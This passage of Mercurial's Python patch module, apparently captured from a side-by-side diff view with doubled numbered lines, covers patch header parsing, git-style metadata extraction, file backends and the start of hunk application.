273 ok_types = (b'text/plain', b'text/x-diff', b'text/x-patch')
274 message = b''
274 message = b''
275 for part in msg.walk():
275 for part in msg.walk():
276 content_type = pycompat.bytestr(part.get_content_type())
276 content_type = pycompat.bytestr(part.get_content_type())
277 ui.debug(b'Content-Type: %s\n' % content_type)
277 ui.debug(b'Content-Type: %s\n' % content_type)
278 if content_type not in ok_types:
278 if content_type not in ok_types:
279 continue
279 continue
280 payload = part.get_payload(decode=True)
280 payload = part.get_payload(decode=True)
281 m = diffre.search(payload)
281 m = diffre.search(payload)
282 if m:
282 if m:
283 hgpatch = False
283 hgpatch = False
284 hgpatchheader = False
284 hgpatchheader = False
285 ignoretext = False
285 ignoretext = False
286
286
287 ui.debug(b'found patch at byte %d\n' % m.start(0))
287 ui.debug(b'found patch at byte %d\n' % m.start(0))
288 diffs_seen += 1
288 diffs_seen += 1
289 cfp = stringio()
289 cfp = stringio()
290 for line in payload[: m.start(0)].splitlines():
290 for line in payload[: m.start(0)].splitlines():
291 if line.startswith(b'# HG changeset patch') and not hgpatch:
291 if line.startswith(b'# HG changeset patch') and not hgpatch:
292 ui.debug(b'patch generated by hg export\n')
292 ui.debug(b'patch generated by hg export\n')
293 hgpatch = True
293 hgpatch = True
294 hgpatchheader = True
294 hgpatchheader = True
295 # drop earlier commit message content
295 # drop earlier commit message content
296 cfp.seek(0)
296 cfp.seek(0)
297 cfp.truncate()
297 cfp.truncate()
298 subject = None
298 subject = None
299 elif hgpatchheader:
299 elif hgpatchheader:
300 if line.startswith(b'# User '):
300 if line.startswith(b'# User '):
301 data[b'user'] = line[7:]
301 data[b'user'] = line[7:]
302 ui.debug(b'From: %s\n' % data[b'user'])
302 ui.debug(b'From: %s\n' % data[b'user'])
303 elif line.startswith(b"# Parent "):
303 elif line.startswith(b"# Parent "):
304 parents.append(line[9:].lstrip())
304 parents.append(line[9:].lstrip())
305 elif line.startswith(b"# "):
305 elif line.startswith(b"# "):
306 for header, key in patchheadermap:
306 for header, key in patchheadermap:
307 prefix = b'# %s ' % header
307 prefix = b'# %s ' % header
308 if line.startswith(prefix):
308 if line.startswith(prefix):
309 data[key] = line[len(prefix) :]
309 data[key] = line[len(prefix) :]
310 ui.debug(b'%s: %s\n' % (header, data[key]))
310 ui.debug(b'%s: %s\n' % (header, data[key]))
311 else:
311 else:
312 hgpatchheader = False
312 hgpatchheader = False
313 elif line == b'---':
313 elif line == b'---':
314 ignoretext = True
314 ignoretext = True
315 if not hgpatchheader and not ignoretext:
315 if not hgpatchheader and not ignoretext:
316 cfp.write(line)
316 cfp.write(line)
317 cfp.write(b'\n')
317 cfp.write(b'\n')
318 message = cfp.getvalue()
318 message = cfp.getvalue()
319 if tmpfp:
319 if tmpfp:
320 tmpfp.write(payload)
320 tmpfp.write(payload)
321 if not payload.endswith(b'\n'):
321 if not payload.endswith(b'\n'):
322 tmpfp.write(b'\n')
322 tmpfp.write(b'\n')
323 elif not diffs_seen and message and content_type == b'text/plain':
323 elif not diffs_seen and message and content_type == b'text/plain':
324 message += b'\n' + payload
324 message += b'\n' + payload
325
325
326 if subject and not message.startswith(subject):
326 if subject and not message.startswith(subject):
327 message = b'%s\n%s' % (subject, message)
327 message = b'%s\n%s' % (subject, message)
328 data[b'message'] = message
328 data[b'message'] = message
329 tmpfp.close()
329 tmpfp.close()
330 if parents:
330 if parents:
331 data[b'p1'] = parents.pop(0)
331 data[b'p1'] = parents.pop(0)
332 if parents:
332 if parents:
333 data[b'p2'] = parents.pop(0)
333 data[b'p2'] = parents.pop(0)
334
334
335 if diffs_seen:
335 if diffs_seen:
336 data[b'filename'] = tmpname
336 data[b'filename'] = tmpname
337
337
338 return data
338 return data
339
339
340
340
341 class patchmeta(object):
341 class patchmeta(object):
342 """Patched file metadata
342 """Patched file metadata
343
343
344 'op' is the performed operation within ADD, DELETE, RENAME, MODIFY
344 'op' is the performed operation within ADD, DELETE, RENAME, MODIFY
345 or COPY. 'path' is patched file path. 'oldpath' is set to the
345 or COPY. 'path' is patched file path. 'oldpath' is set to the
346 origin file when 'op' is either COPY or RENAME, None otherwise. If
346 origin file when 'op' is either COPY or RENAME, None otherwise. If
347 file mode is changed, 'mode' is a tuple (islink, isexec) where
347 file mode is changed, 'mode' is a tuple (islink, isexec) where
348 'islink' is True if the file is a symlink and 'isexec' is True if
348 'islink' is True if the file is a symlink and 'isexec' is True if
349 the file is executable. Otherwise, 'mode' is None.
349 the file is executable. Otherwise, 'mode' is None.
350 """
350 """
351
351
352 def __init__(self, path):
352 def __init__(self, path):
353 self.path = path
353 self.path = path
354 self.oldpath = None
354 self.oldpath = None
355 self.mode = None
355 self.mode = None
356 self.op = b'MODIFY'
356 self.op = b'MODIFY'
357 self.binary = False
357 self.binary = False
358
358
359 def setmode(self, mode):
359 def setmode(self, mode):
360 islink = mode & 0o20000
360 islink = mode & 0o20000
361 isexec = mode & 0o100
361 isexec = mode & 0o100
362 self.mode = (islink, isexec)
362 self.mode = (islink, isexec)
363
363
364 def copy(self):
364 def copy(self):
365 other = patchmeta(self.path)
365 other = patchmeta(self.path)
366 other.oldpath = self.oldpath
366 other.oldpath = self.oldpath
367 other.mode = self.mode
367 other.mode = self.mode
368 other.op = self.op
368 other.op = self.op
369 other.binary = self.binary
369 other.binary = self.binary
370 return other
370 return other
371
371
372 def _ispatchinga(self, afile):
372 def _ispatchinga(self, afile):
373 if afile == b'/dev/null':
373 if afile == b'/dev/null':
374 return self.op == b'ADD'
374 return self.op == b'ADD'
375 return afile == b'a/' + (self.oldpath or self.path)
375 return afile == b'a/' + (self.oldpath or self.path)
376
376
377 def _ispatchingb(self, bfile):
377 def _ispatchingb(self, bfile):
378 if bfile == b'/dev/null':
378 if bfile == b'/dev/null':
379 return self.op == b'DELETE'
379 return self.op == b'DELETE'
380 return bfile == b'b/' + self.path
380 return bfile == b'b/' + self.path
381
381
382 def ispatching(self, afile, bfile):
382 def ispatching(self, afile, bfile):
383 return self._ispatchinga(afile) and self._ispatchingb(bfile)
383 return self._ispatchinga(afile) and self._ispatchingb(bfile)
384
384
385 def __repr__(self):
385 def __repr__(self):
386 return "<patchmeta %s %r>" % (self.op, self.path)
386 return "<patchmeta %s %r>" % (self.op, self.path)
387
387
388
388
389 def readgitpatch(lr):
389 def readgitpatch(lr):
390 """extract git-style metadata about patches from <patchname>"""
390 """extract git-style metadata about patches from <patchname>"""
391
391
392 # Filter patch for git information
392 # Filter patch for git information
393 gp = None
393 gp = None
394 gitpatches = []
394 gitpatches = []
395 for line in lr:
395 for line in lr:
396 line = line.rstrip(b' \r\n')
396 line = line.rstrip(b' \r\n')
397 if line.startswith(b'diff --git a/'):
397 if line.startswith(b'diff --git a/'):
398 m = gitre.match(line)
398 m = gitre.match(line)
399 if m:
399 if m:
400 if gp:
400 if gp:
401 gitpatches.append(gp)
401 gitpatches.append(gp)
402 dst = m.group(2)
402 dst = m.group(2)
403 gp = patchmeta(dst)
403 gp = patchmeta(dst)
404 elif gp:
404 elif gp:
405 if line.startswith(b'--- '):
405 if line.startswith(b'--- '):
406 gitpatches.append(gp)
406 gitpatches.append(gp)
407 gp = None
407 gp = None
408 continue
408 continue
409 if line.startswith(b'rename from '):
409 if line.startswith(b'rename from '):
410 gp.op = b'RENAME'
410 gp.op = b'RENAME'
411 gp.oldpath = line[12:]
411 gp.oldpath = line[12:]
412 elif line.startswith(b'rename to '):
412 elif line.startswith(b'rename to '):
413 gp.path = line[10:]
413 gp.path = line[10:]
414 elif line.startswith(b'copy from '):
414 elif line.startswith(b'copy from '):
415 gp.op = b'COPY'
415 gp.op = b'COPY'
416 gp.oldpath = line[10:]
416 gp.oldpath = line[10:]
417 elif line.startswith(b'copy to '):
417 elif line.startswith(b'copy to '):
418 gp.path = line[8:]
418 gp.path = line[8:]
419 elif line.startswith(b'deleted file'):
419 elif line.startswith(b'deleted file'):
420 gp.op = b'DELETE'
420 gp.op = b'DELETE'
421 elif line.startswith(b'new file mode '):
421 elif line.startswith(b'new file mode '):
422 gp.op = b'ADD'
422 gp.op = b'ADD'
423 gp.setmode(int(line[-6:], 8))
423 gp.setmode(int(line[-6:], 8))
424 elif line.startswith(b'new mode '):
424 elif line.startswith(b'new mode '):
425 gp.setmode(int(line[-6:], 8))
425 gp.setmode(int(line[-6:], 8))
426 elif line.startswith(b'GIT binary patch'):
426 elif line.startswith(b'GIT binary patch'):
427 gp.binary = True
427 gp.binary = True
428 if gp:
428 if gp:
429 gitpatches.append(gp)
429 gitpatches.append(gp)
430
430
431 return gitpatches
431 return gitpatches
432
432
433
433
434 class linereader(object):
434 class linereader(object):
435 # simple class to allow pushing lines back into the input stream
435 # simple class to allow pushing lines back into the input stream
436 def __init__(self, fp):
436 def __init__(self, fp):
437 self.fp = fp
437 self.fp = fp
438 self.buf = []
438 self.buf = []
439
439
440 def push(self, line):
440 def push(self, line):
441 if line is not None:
441 if line is not None:
442 self.buf.append(line)
442 self.buf.append(line)
443
443
444 def readline(self):
444 def readline(self):
445 if self.buf:
445 if self.buf:
446 l = self.buf[0]
446 l = self.buf[0]
447 del self.buf[0]
447 del self.buf[0]
448 return l
448 return l
449 return self.fp.readline()
449 return self.fp.readline()
450
450
451 def __iter__(self):
451 def __iter__(self):
452 return iter(self.readline, b'')
452 return iter(self.readline, b'')
453
453
454
454
455 class abstractbackend(object):
455 class abstractbackend(object):
456 def __init__(self, ui):
456 def __init__(self, ui):
457 self.ui = ui
457 self.ui = ui
458
458
459 def getfile(self, fname):
459 def getfile(self, fname):
460 """Return target file data and flags as a (data, (islink,
460 """Return target file data and flags as a (data, (islink,
461 isexec)) tuple. Data is None if file is missing/deleted.
461 isexec)) tuple. Data is None if file is missing/deleted.
462 """
462 """
463 raise NotImplementedError
463 raise NotImplementedError
464
464
465 def setfile(self, fname, data, mode, copysource):
465 def setfile(self, fname, data, mode, copysource):
466 """Write data to target file fname and set its mode. mode is a
466 """Write data to target file fname and set its mode. mode is a
467 (islink, isexec) tuple. If data is None, the file content should
467 (islink, isexec) tuple. If data is None, the file content should
468 be left unchanged. If the file is modified after being copied,
468 be left unchanged. If the file is modified after being copied,
469 copysource is set to the original file name.
469 copysource is set to the original file name.
470 """
470 """
471 raise NotImplementedError
471 raise NotImplementedError
472
472
473 def unlink(self, fname):
473 def unlink(self, fname):
474 """Unlink target file."""
474 """Unlink target file."""
475 raise NotImplementedError
475 raise NotImplementedError
476
476
477 def writerej(self, fname, failed, total, lines):
477 def writerej(self, fname, failed, total, lines):
478 """Write rejected lines for fname. total is the number of hunks
478 """Write rejected lines for fname. total is the number of hunks
479 which failed to apply and total the total number of hunks for this
479 which failed to apply and total the total number of hunks for this
480 files.
480 files.
481 """
481 """
482
482
483 def exists(self, fname):
483 def exists(self, fname):
484 raise NotImplementedError
484 raise NotImplementedError
485
485
486 def close(self):
486 def close(self):
487 raise NotImplementedError
487 raise NotImplementedError
488
488
489
489
490 class fsbackend(abstractbackend):
490 class fsbackend(abstractbackend):
491 def __init__(self, ui, basedir):
491 def __init__(self, ui, basedir):
492 super(fsbackend, self).__init__(ui)
492 super(fsbackend, self).__init__(ui)
493 self.opener = vfsmod.vfs(basedir)
493 self.opener = vfsmod.vfs(basedir)
494
494
495 def getfile(self, fname):
495 def getfile(self, fname):
496 if self.opener.islink(fname):
496 if self.opener.islink(fname):
497 return (self.opener.readlink(fname), (True, False))
497 return (self.opener.readlink(fname), (True, False))
498
498
499 isexec = False
499 isexec = False
500 try:
500 try:
501 isexec = self.opener.lstat(fname).st_mode & 0o100 != 0
501 isexec = self.opener.lstat(fname).st_mode & 0o100 != 0
502 except OSError as e:
502 except OSError as e:
503 if e.errno != errno.ENOENT:
503 if e.errno != errno.ENOENT:
504 raise
504 raise
505 try:
505 try:
506 return (self.opener.read(fname), (False, isexec))
506 return (self.opener.read(fname), (False, isexec))
507 except IOError as e:
507 except IOError as e:
508 if e.errno != errno.ENOENT:
508 if e.errno != errno.ENOENT:
509 raise
509 raise
510 return None, None
510 return None, None
511
511
512 def setfile(self, fname, data, mode, copysource):
512 def setfile(self, fname, data, mode, copysource):
513 islink, isexec = mode
513 islink, isexec = mode
514 if data is None:
514 if data is None:
515 self.opener.setflags(fname, islink, isexec)
515 self.opener.setflags(fname, islink, isexec)
516 return
516 return
517 if islink:
517 if islink:
518 self.opener.symlink(data, fname)
518 self.opener.symlink(data, fname)
519 else:
519 else:
520 self.opener.write(fname, data)
520 self.opener.write(fname, data)
521 if isexec:
521 if isexec:
522 self.opener.setflags(fname, False, True)
522 self.opener.setflags(fname, False, True)
523
523
524 def unlink(self, fname):
524 def unlink(self, fname):
525 rmdir = self.ui.configbool(b'experimental', b'removeemptydirs')
525 rmdir = self.ui.configbool(b'experimental', b'removeemptydirs')
526 self.opener.unlinkpath(fname, ignoremissing=True, rmdir=rmdir)
526 self.opener.unlinkpath(fname, ignoremissing=True, rmdir=rmdir)
527
527
528 def writerej(self, fname, failed, total, lines):
528 def writerej(self, fname, failed, total, lines):
529 fname = fname + b".rej"
529 fname = fname + b".rej"
530 self.ui.warn(
530 self.ui.warn(
531 _(b"%d out of %d hunks FAILED -- saving rejects to file %s\n")
531 _(b"%d out of %d hunks FAILED -- saving rejects to file %s\n")
532 % (failed, total, fname)
532 % (failed, total, fname)
533 )
533 )
534 fp = self.opener(fname, b'w')
534 fp = self.opener(fname, b'w')
535 fp.writelines(lines)
535 fp.writelines(lines)
536 fp.close()
536 fp.close()
537
537
538 def exists(self, fname):
538 def exists(self, fname):
539 return self.opener.lexists(fname)
539 return self.opener.lexists(fname)
540
540
541
541
542 class workingbackend(fsbackend):
542 class workingbackend(fsbackend):
543 def __init__(self, ui, repo, similarity):
543 def __init__(self, ui, repo, similarity):
544 super(workingbackend, self).__init__(ui, repo.root)
544 super(workingbackend, self).__init__(ui, repo.root)
545 self.repo = repo
545 self.repo = repo
546 self.similarity = similarity
546 self.similarity = similarity
547 self.removed = set()
547 self.removed = set()
548 self.changed = set()
548 self.changed = set()
549 self.copied = []
549 self.copied = []
550
550
551 def _checkknown(self, fname):
551 def _checkknown(self, fname):
552 if self.repo.dirstate[fname] == b'?' and self.exists(fname):
552 if self.repo.dirstate[fname] == b'?' and self.exists(fname):
553 raise PatchError(_(b'cannot patch %s: file is not tracked') % fname)
553 raise PatchError(_(b'cannot patch %s: file is not tracked') % fname)
554
554
555 def setfile(self, fname, data, mode, copysource):
555 def setfile(self, fname, data, mode, copysource):
556 self._checkknown(fname)
556 self._checkknown(fname)
557 super(workingbackend, self).setfile(fname, data, mode, copysource)
557 super(workingbackend, self).setfile(fname, data, mode, copysource)
558 if copysource is not None:
558 if copysource is not None:
559 self.copied.append((copysource, fname))
559 self.copied.append((copysource, fname))
560 self.changed.add(fname)
560 self.changed.add(fname)
561
561
562 def unlink(self, fname):
562 def unlink(self, fname):
563 self._checkknown(fname)
563 self._checkknown(fname)
564 super(workingbackend, self).unlink(fname)
564 super(workingbackend, self).unlink(fname)
565 self.removed.add(fname)
565 self.removed.add(fname)
566 self.changed.add(fname)
566 self.changed.add(fname)
567
567
568 def close(self):
568 def close(self):
569 wctx = self.repo[None]
569 wctx = self.repo[None]
570 changed = set(self.changed)
570 changed = set(self.changed)
571 for src, dst in self.copied:
571 for src, dst in self.copied:
572 scmutil.dirstatecopy(self.ui, self.repo, wctx, src, dst)
572 scmutil.dirstatecopy(self.ui, self.repo, wctx, src, dst)
573 if self.removed:
573 if self.removed:
574 wctx.forget(sorted(self.removed))
574 wctx.forget(sorted(self.removed))
575 for f in self.removed:
575 for f in self.removed:
576 if f not in self.repo.dirstate:
576 if f not in self.repo.dirstate:
577 # File was deleted and no longer belongs to the
577 # File was deleted and no longer belongs to the
578 # dirstate, it was probably marked added then
578 # dirstate, it was probably marked added then
579 # deleted, and should not be considered by
579 # deleted, and should not be considered by
580 # marktouched().
580 # marktouched().
581 changed.discard(f)
581 changed.discard(f)
582 if changed:
582 if changed:
583 scmutil.marktouched(self.repo, changed, self.similarity)
583 scmutil.marktouched(self.repo, changed, self.similarity)
584 return sorted(self.changed)
584 return sorted(self.changed)
585
585
586
586
587 class filestore(object):
587 class filestore(object):
588 def __init__(self, maxsize=None):
588 def __init__(self, maxsize=None):
589 self.opener = None
589 self.opener = None
590 self.files = {}
590 self.files = {}
591 self.created = 0
591 self.created = 0
592 self.maxsize = maxsize
592 self.maxsize = maxsize
593 if self.maxsize is None:
593 if self.maxsize is None:
594 self.maxsize = 4 * (2 ** 20)
594 self.maxsize = 4 * (2 ** 20)
595 self.size = 0
595 self.size = 0
596 self.data = {}
596 self.data = {}
597
597
598 def setfile(self, fname, data, mode, copied=None):
598 def setfile(self, fname, data, mode, copied=None):
599 if self.maxsize < 0 or (len(data) + self.size) <= self.maxsize:
599 if self.maxsize < 0 or (len(data) + self.size) <= self.maxsize:
600 self.data[fname] = (data, mode, copied)
600 self.data[fname] = (data, mode, copied)
601 self.size += len(data)
601 self.size += len(data)
602 else:
602 else:
603 if self.opener is None:
603 if self.opener is None:
604 root = pycompat.mkdtemp(prefix=b'hg-patch-')
604 root = pycompat.mkdtemp(prefix=b'hg-patch-')
605 self.opener = vfsmod.vfs(root)
605 self.opener = vfsmod.vfs(root)
606 # Avoid filename issues with these simple names
606 # Avoid filename issues with these simple names
607 fn = b'%d' % self.created
607 fn = b'%d' % self.created
608 self.opener.write(fn, data)
608 self.opener.write(fn, data)
609 self.created += 1
609 self.created += 1
610 self.files[fname] = (fn, mode, copied)
610 self.files[fname] = (fn, mode, copied)
611
611
612 def getfile(self, fname):
612 def getfile(self, fname):
613 if fname in self.data:
613 if fname in self.data:
614 return self.data[fname]
614 return self.data[fname]
615 if not self.opener or fname not in self.files:
615 if not self.opener or fname not in self.files:
616 return None, None, None
616 return None, None, None
617 fn, mode, copied = self.files[fname]
617 fn, mode, copied = self.files[fname]
618 return self.opener.read(fn), mode, copied
618 return self.opener.read(fn), mode, copied
619
619
620 def close(self):
620 def close(self):
621 if self.opener:
621 if self.opener:
622 shutil.rmtree(self.opener.base)
622 shutil.rmtree(self.opener.base)
623
623
624
624
625 class repobackend(abstractbackend):
625 class repobackend(abstractbackend):
626 def __init__(self, ui, repo, ctx, store):
626 def __init__(self, ui, repo, ctx, store):
627 super(repobackend, self).__init__(ui)
627 super(repobackend, self).__init__(ui)
628 self.repo = repo
628 self.repo = repo
629 self.ctx = ctx
629 self.ctx = ctx
630 self.store = store
630 self.store = store
631 self.changed = set()
631 self.changed = set()
632 self.removed = set()
632 self.removed = set()
633 self.copied = {}
633 self.copied = {}
634
634
635 def _checkknown(self, fname):
635 def _checkknown(self, fname):
636 if fname not in self.ctx:
636 if fname not in self.ctx:
637 raise PatchError(_(b'cannot patch %s: file is not tracked') % fname)
637 raise PatchError(_(b'cannot patch %s: file is not tracked') % fname)
638
638
639 def getfile(self, fname):
639 def getfile(self, fname):
640 try:
640 try:
641 fctx = self.ctx[fname]
641 fctx = self.ctx[fname]
642 except error.LookupError:
642 except error.LookupError:
643 return None, None
643 return None, None
644 flags = fctx.flags()
644 flags = fctx.flags()
645 return fctx.data(), (b'l' in flags, b'x' in flags)
645 return fctx.data(), (b'l' in flags, b'x' in flags)
646
646
647 def setfile(self, fname, data, mode, copysource):
647 def setfile(self, fname, data, mode, copysource):
648 if copysource:
648 if copysource:
649 self._checkknown(copysource)
649 self._checkknown(copysource)
650 if data is None:
650 if data is None:
651 data = self.ctx[fname].data()
651 data = self.ctx[fname].data()
652 self.store.setfile(fname, data, mode, copysource)
652 self.store.setfile(fname, data, mode, copysource)
653 self.changed.add(fname)
653 self.changed.add(fname)
654 if copysource:
654 if copysource:
655 self.copied[fname] = copysource
655 self.copied[fname] = copysource
656
656
657 def unlink(self, fname):
657 def unlink(self, fname):
658 self._checkknown(fname)
658 self._checkknown(fname)
659 self.removed.add(fname)
659 self.removed.add(fname)
660
660
661 def exists(self, fname):
661 def exists(self, fname):
662 return fname in self.ctx
662 return fname in self.ctx
663
663
664 def close(self):
664 def close(self):
665 return self.changed | self.removed
665 return self.changed | self.removed
666
666
667
667
668 # @@ -start,len +start,len @@ or @@ -start +start @@ if len is 1
668 # @@ -start,len +start,len @@ or @@ -start +start @@ if len is 1
669 unidesc = re.compile(br'@@ -(\d+)(?:,(\d+))? \+(\d+)(?:,(\d+))? @@')
669 unidesc = re.compile(br'@@ -(\d+)(?:,(\d+))? \+(\d+)(?:,(\d+))? @@')
670 contextdesc = re.compile(br'(?:---|\*\*\*) (\d+)(?:,(\d+))? (?:---|\*\*\*)')
670 contextdesc = re.compile(br'(?:---|\*\*\*) (\d+)(?:,(\d+))? (?:---|\*\*\*)')
671 eolmodes = [b'strict', b'crlf', b'lf', b'auto']
671 eolmodes = [b'strict', b'crlf', b'lf', b'auto']
672
672
673
673
674 class patchfile(object):
674 class patchfile(object):
675 def __init__(self, ui, gp, backend, store, eolmode=b'strict'):
675 def __init__(self, ui, gp, backend, store, eolmode=b'strict'):
676 self.fname = gp.path
676 self.fname = gp.path
677 self.eolmode = eolmode
677 self.eolmode = eolmode
678 self.eol = None
678 self.eol = None
679 self.backend = backend
679 self.backend = backend
680 self.ui = ui
680 self.ui = ui
681 self.lines = []
681 self.lines = []
682 self.exists = False
682 self.exists = False
683 self.missing = True
683 self.missing = True
684 self.mode = gp.mode
684 self.mode = gp.mode
685 self.copysource = gp.oldpath
685 self.copysource = gp.oldpath
686 self.create = gp.op in (b'ADD', b'COPY', b'RENAME')
686 self.create = gp.op in (b'ADD', b'COPY', b'RENAME')
687 self.remove = gp.op == b'DELETE'
687 self.remove = gp.op == b'DELETE'
688 if self.copysource is None:
688 if self.copysource is None:
689 data, mode = backend.getfile(self.fname)
689 data, mode = backend.getfile(self.fname)
690 else:
690 else:
691 data, mode = store.getfile(self.copysource)[:2]
691 data, mode = store.getfile(self.copysource)[:2]
692 if data is not None:
692 if data is not None:
693 self.exists = self.copysource is None or backend.exists(self.fname)
693 self.exists = self.copysource is None or backend.exists(self.fname)
694 self.missing = False
694 self.missing = False
695 if data:
695 if data:
696 self.lines = mdiff.splitnewlines(data)
696 self.lines = mdiff.splitnewlines(data)
697 if self.mode is None:
697 if self.mode is None:
698 self.mode = mode
698 self.mode = mode
699 if self.lines:
699 if self.lines:
700 # Normalize line endings
700 # Normalize line endings
701 if self.lines[0].endswith(b'\r\n'):
701 if self.lines[0].endswith(b'\r\n'):
702 self.eol = b'\r\n'
702 self.eol = b'\r\n'
703 elif self.lines[0].endswith(b'\n'):
703 elif self.lines[0].endswith(b'\n'):
704 self.eol = b'\n'
704 self.eol = b'\n'
705 if eolmode != b'strict':
705 if eolmode != b'strict':
706 nlines = []
706 nlines = []
707 for l in self.lines:
707 for l in self.lines:
708 if l.endswith(b'\r\n'):
708 if l.endswith(b'\r\n'):
709 l = l[:-2] + b'\n'
709 l = l[:-2] + b'\n'
710 nlines.append(l)
710 nlines.append(l)
711 self.lines = nlines
711 self.lines = nlines
712 else:
712 else:
713 if self.create:
713 if self.create:
714 self.missing = False
714 self.missing = False
715 if self.mode is None:
715 if self.mode is None:
716 self.mode = (False, False)
716 self.mode = (False, False)
717 if self.missing:
717 if self.missing:
718 self.ui.warn(_(b"unable to find '%s' for patching\n") % self.fname)
718 self.ui.warn(_(b"unable to find '%s' for patching\n") % self.fname)
719 self.ui.warn(
719 self.ui.warn(
720 _(
720 _(
721 b"(use '--prefix' to apply patch relative to the "
721 b"(use '--prefix' to apply patch relative to the "
722 b"current directory)\n"
722 b"current directory)\n"
723 )
723 )
724 )
724 )
725
725
726 self.hash = {}
726 self.hash = {}
727 self.dirty = 0
727 self.dirty = 0
728 self.offset = 0
728 self.offset = 0
729 self.skew = 0
729 self.skew = 0
730 self.rej = []
730 self.rej = []
731 self.fileprinted = False
731 self.fileprinted = False
732 self.printfile(False)
732 self.printfile(False)
733 self.hunks = 0
733 self.hunks = 0
734
734
735 def writelines(self, fname, lines, mode):
735 def writelines(self, fname, lines, mode):
736 if self.eolmode == b'auto':
736 if self.eolmode == b'auto':
737 eol = self.eol
737 eol = self.eol
738 elif self.eolmode == b'crlf':
738 elif self.eolmode == b'crlf':
739 eol = b'\r\n'
739 eol = b'\r\n'
740 else:
740 else:
741 eol = b'\n'
741 eol = b'\n'
742
742
743 if self.eolmode != b'strict' and eol and eol != b'\n':
743 if self.eolmode != b'strict' and eol and eol != b'\n':
744 rawlines = []
744 rawlines = []
745 for l in lines:
745 for l in lines:
746 if l and l.endswith(b'\n'):
746 if l and l.endswith(b'\n'):
747 l = l[:-1] + eol
747 l = l[:-1] + eol
748 rawlines.append(l)
748 rawlines.append(l)
749 lines = rawlines
749 lines = rawlines
750
750
751 self.backend.setfile(fname, b''.join(lines), mode, self.copysource)
751 self.backend.setfile(fname, b''.join(lines), mode, self.copysource)
752
752
753 def printfile(self, warn):
753 def printfile(self, warn):
754 if self.fileprinted:
754 if self.fileprinted:
755 return
755 return
756 if warn or self.ui.verbose:
756 if warn or self.ui.verbose:
757 self.fileprinted = True
757 self.fileprinted = True
758 s = _(b"patching file %s\n") % self.fname
758 s = _(b"patching file %s\n") % self.fname
759 if warn:
759 if warn:
760 self.ui.warn(s)
760 self.ui.warn(s)
761 else:
761 else:
762 self.ui.note(s)
762 self.ui.note(s)
763
763
764 def findlines(self, l, linenum):
764 def findlines(self, l, linenum):
765 # looks through the hash and finds candidate lines. The
765 # looks through the hash and finds candidate lines. The
766 # result is a list of line numbers sorted based on distance
766 # result is a list of line numbers sorted based on distance
767 # from linenum
767 # from linenum
768
768
769 cand = self.hash.get(l, [])
769 cand = self.hash.get(l, [])
770 if len(cand) > 1:
770 if len(cand) > 1:
771 # resort our list of potentials forward then back.
771 # resort our list of potentials forward then back.
772 cand.sort(key=lambda x: abs(x - linenum))
772 cand.sort(key=lambda x: abs(x - linenum))
773 return cand
773 return cand
774
774
775 def write_rej(self):
775 def write_rej(self):
776 # our rejects are a little different from patch(1). This always
776 # our rejects are a little different from patch(1). This always
777 # creates rejects in the same form as the original patch. A file
777 # creates rejects in the same form as the original patch. A file
778 # header is inserted so that you can run the reject through patch again
778 # header is inserted so that you can run the reject through patch again
779 # without having to type the filename.
779 # without having to type the filename.
780 if not self.rej:
780 if not self.rej:
781 return
781 return
782 base = os.path.basename(self.fname)
782 base = os.path.basename(self.fname)
783 lines = [b"--- %s\n+++ %s\n" % (base, base)]
783 lines = [b"--- %s\n+++ %s\n" % (base, base)]
784 for x in self.rej:
784 for x in self.rej:
785 for l in x.hunk:
785 for l in x.hunk:
786 lines.append(l)
786 lines.append(l)
787 if l[-1:] != b'\n':
787 if l[-1:] != b'\n':
788 lines.append(b"\n\\ No newline at end of file\n")
788 lines.append(b"\n\\ No newline at end of file\n")
789 self.backend.writerej(self.fname, len(self.rej), self.hunks, lines)
789 self.backend.writerej(self.fname, len(self.rej), self.hunks, lines)
790
790
791 def apply(self, h):
791 def apply(self, h):
792 if not h.complete():
792 if not h.complete():
793 raise PatchError(
793 raise PatchError(
794 _(b"bad hunk #%d %s (%d %d %d %d)")
794 _(b"bad hunk #%d %s (%d %d %d %d)")
795 % (h.number, h.desc, len(h.a), h.lena, len(h.b), h.lenb)
795 % (h.number, h.desc, len(h.a), h.lena, len(h.b), h.lenb)
796 )
796 )
797
797
798 self.hunks += 1
798 self.hunks += 1
799
799
800 if self.missing:
800 if self.missing:
801 self.rej.append(h)
801 self.rej.append(h)
802 return -1
802 return -1
803
803
804 if self.exists and self.create:
804 if self.exists and self.create:
805 if self.copysource:
805 if self.copysource:
806 self.ui.warn(
806 self.ui.warn(
807 _(b"cannot create %s: destination already exists\n")
807 _(b"cannot create %s: destination already exists\n")
808 % self.fname
808 % self.fname
809 )
809 )
810 else:
810 else:
811 self.ui.warn(_(b"file %s already exists\n") % self.fname)
811 self.ui.warn(_(b"file %s already exists\n") % self.fname)
812 self.rej.append(h)
812 self.rej.append(h)
813 return -1
813 return -1
814
814
815 if isinstance(h, binhunk):
815 if isinstance(h, binhunk):
816 if self.remove:
816 if self.remove:
817 self.backend.unlink(self.fname)
817 self.backend.unlink(self.fname)
818 else:
818 else:
819 l = h.new(self.lines)
819 l = h.new(self.lines)
820 self.lines[:] = l
820 self.lines[:] = l
821 self.offset += len(l)
821 self.offset += len(l)
822 self.dirty = True
822 self.dirty = True
823 return 0
823 return 0
824
824
825 horig = h
825 horig = h
826 if (
826 if (
827 self.eolmode in (b'crlf', b'lf')
827 self.eolmode in (b'crlf', b'lf')
828 or self.eolmode == b'auto'
828 or self.eolmode == b'auto'
829 and self.eol
829 and self.eol
830 ):
830 ):
831 # If new eols are going to be normalized, then normalize
831 # If new eols are going to be normalized, then normalize
832 # hunk data before patching. Otherwise, preserve input
832 # hunk data before patching. Otherwise, preserve input
833 # line-endings.
833 # line-endings.
834 h = h.getnormalized()
834 h = h.getnormalized()
835
835
836 # fast case first, no offsets, no fuzz
836 # fast case first, no offsets, no fuzz
837 old, oldstart, new, newstart = h.fuzzit(0, False)
837 old, oldstart, new, newstart = h.fuzzit(0, False)
838 oldstart += self.offset
838 oldstart += self.offset
839 orig_start = oldstart
839 orig_start = oldstart
840 # if there's skew we want to emit the "(offset %d lines)" even
840 # if there's skew we want to emit the "(offset %d lines)" even
841 # when the hunk cleanly applies at start + skew, so skip the
841 # when the hunk cleanly applies at start + skew, so skip the
842 # fast case code
842 # fast case code
843 if self.skew == 0 and diffhelper.testhunk(old, self.lines, oldstart):
843 if self.skew == 0 and diffhelper.testhunk(old, self.lines, oldstart):
844 if self.remove:
844 if self.remove:
845 self.backend.unlink(self.fname)
845 self.backend.unlink(self.fname)
846 else:
846 else:
847 self.lines[oldstart : oldstart + len(old)] = new
847 self.lines[oldstart : oldstart + len(old)] = new
848 self.offset += len(new) - len(old)
